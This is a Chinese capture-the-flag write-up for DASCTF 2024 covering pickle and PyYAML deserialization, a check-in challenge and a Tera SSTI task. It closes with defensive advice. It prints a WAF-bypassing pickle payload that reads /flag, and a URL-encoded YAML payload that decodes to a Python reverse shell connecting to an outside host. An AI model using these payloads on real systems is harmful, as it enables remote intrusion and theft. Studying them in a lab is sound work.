DASCTF 2024最后一战|寒夜破晓,冬至终章(部分wp)
字数 1333 2025-08-22 12:22:42
DASCTF 2024最后一战|寒夜破晓,冬至终章 CTF Writeup 教学文档
1. Web题目分析:const_python
1.1 题目概述
这是一个基于Flask的Python Web应用,主要考察Python反序列化漏洞和文件操作。
1.2 关键代码分析
@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:
pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\', 'compile', 'requests', 'exit', 'pickle', "class", "mro", "flask", "sys", "base", "init", "config", "session"}:
if i.encode() in pickle_data:
return i + " waf"
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
1.3 漏洞利用
1.3.1 绕过思路
- 题目禁用了
os和sys模块,但可以通过builtins模块的原始功能 - 目标是通过反序列化读取
/flag文件内容 - 利用
/src路由可以读取app.py内容的特点,将flag写入app.py
1.3.2 利用Payload构造
使用pker工具生成payload:
getattr = GLOBAL('builtins', 'getattr')
open = GLOBAL('builtins', 'open')
flag = open('/flag')
read = getattr(flag, 'read')
f = open('./app.py', 'w')
write = getattr(f, 'write')
fff = read()
write(fff)
return
最终生成的pickle payload:
cbuiltins
getattr
p0
0cbuiltins
open
p1
0g1
(S'/flag'
tRp2
0g0
(g2
S'read'
tRp3
0g1
(S'./app.py'
S'w'
tRp4
0g0
(g4
S'write'
tRp5
0g3
(tRp6
0g5
(g6
tR.
1.4 利用步骤
- 将上述payload进行base64编码
- 发送到
/ppicklee路由 - 访问
/src路由即可看到flag内容
2. Web题目分析:yaml_matser
2.1 题目概述
这是一个基于Flask的YAML反序列化漏洞题目,考察PyYAML的反序列化利用。
2.2 关键代码分析
@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
filename = request.args.get('filename', '')
if filename:
with open(f'uploads/{filename}.yaml', 'rb') as f:
file_content = f.read()
if not waf(file_content):
test = yaml.load(file_content)
print(test)
return 'welcome'
2.3 漏洞利用
2.3.1 绕过思路
- 题目使用了
yaml.load(),说明PyYAML版本低于5.1 - WAF过滤了大量关键词,但可以使用URL编码绕过
- 目标是执行系统命令获取shell
2.3.2 利用Payload构造
使用YAML的!!python/object/new:type构造器:
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec}
listitems: "import urllib; exec(urllib.parse.unquote('%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%6f%73%27%29%2e%73%79%73%74%65%6d%28%27%70%79%74%68%6f%6e%33%20%2d%63%20%5c%27%69%6d%70%6f%72%74%20%6f%73%2c%70%74%79%2c%73%6f%63%6b%65%74%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%31%31%2e%78%78%78%2e%78%78%78%2e%31%35%39%22%2c%37%37%37%37%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%29%66%6f%72%20%66%20%69%6e%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%5c%27%27%29'))"
解码后的命令是:
__import__('os').system('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("111.xxx.xxx.159",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'')
2.4 利用步骤
- 将上述YAML payload保存为文件
- 通过
/upload路由上传文件 - 访问
/Yam1?filename=上传的文件名触发反序列化 - 监听指定端口获取反弹shell
3. 签到题目分析:CHECKIN
3.1 题目概述
简单的签到题目,考察信息收集能力。
3.2 解题步骤
- 注意实际访问的是
https://game.wetolink.com/而非https://game.gcsis.cn - 检查页面源代码发现10秒后跳转
- 扫描
https://game.wetolink.com/目录 - 检查
robots.txt文件获取flag
4. 西湖论剑邀请函获取器
4.1 题目概述
这是一个基于Rust的SSTI(服务器端模板注入)题目,flag在环境变量中。
4.2 解题思路
- 识别使用的是Tera模板引擎
- 查找Tera模板的SSTI利用方法
- 通过模板注入读取环境变量获取flag
5. 总结与防御建议
5.1 漏洞总结
- Python反序列化漏洞:避免使用
pickle.loads()处理不可信数据,使用json等安全格式替代 - YAML反序列化漏洞:使用
yaml.safe_load()替代yaml.load() - SSTI漏洞:对用户输入进行严格过滤,避免直接拼接模板
5.2 防御措施
- 更新PyYAML到最新版本(5.1+)
- 实现严格的输入验证和过滤
- 使用最小权限原则运行应用程序
- 禁用不必要的模块和功能
5.3 扩展学习
- Python反序列化漏洞深入研究
- YAML反序列化攻击向量
- 不同模板引擎的SSTI利用技术
- WAF绕过技术研究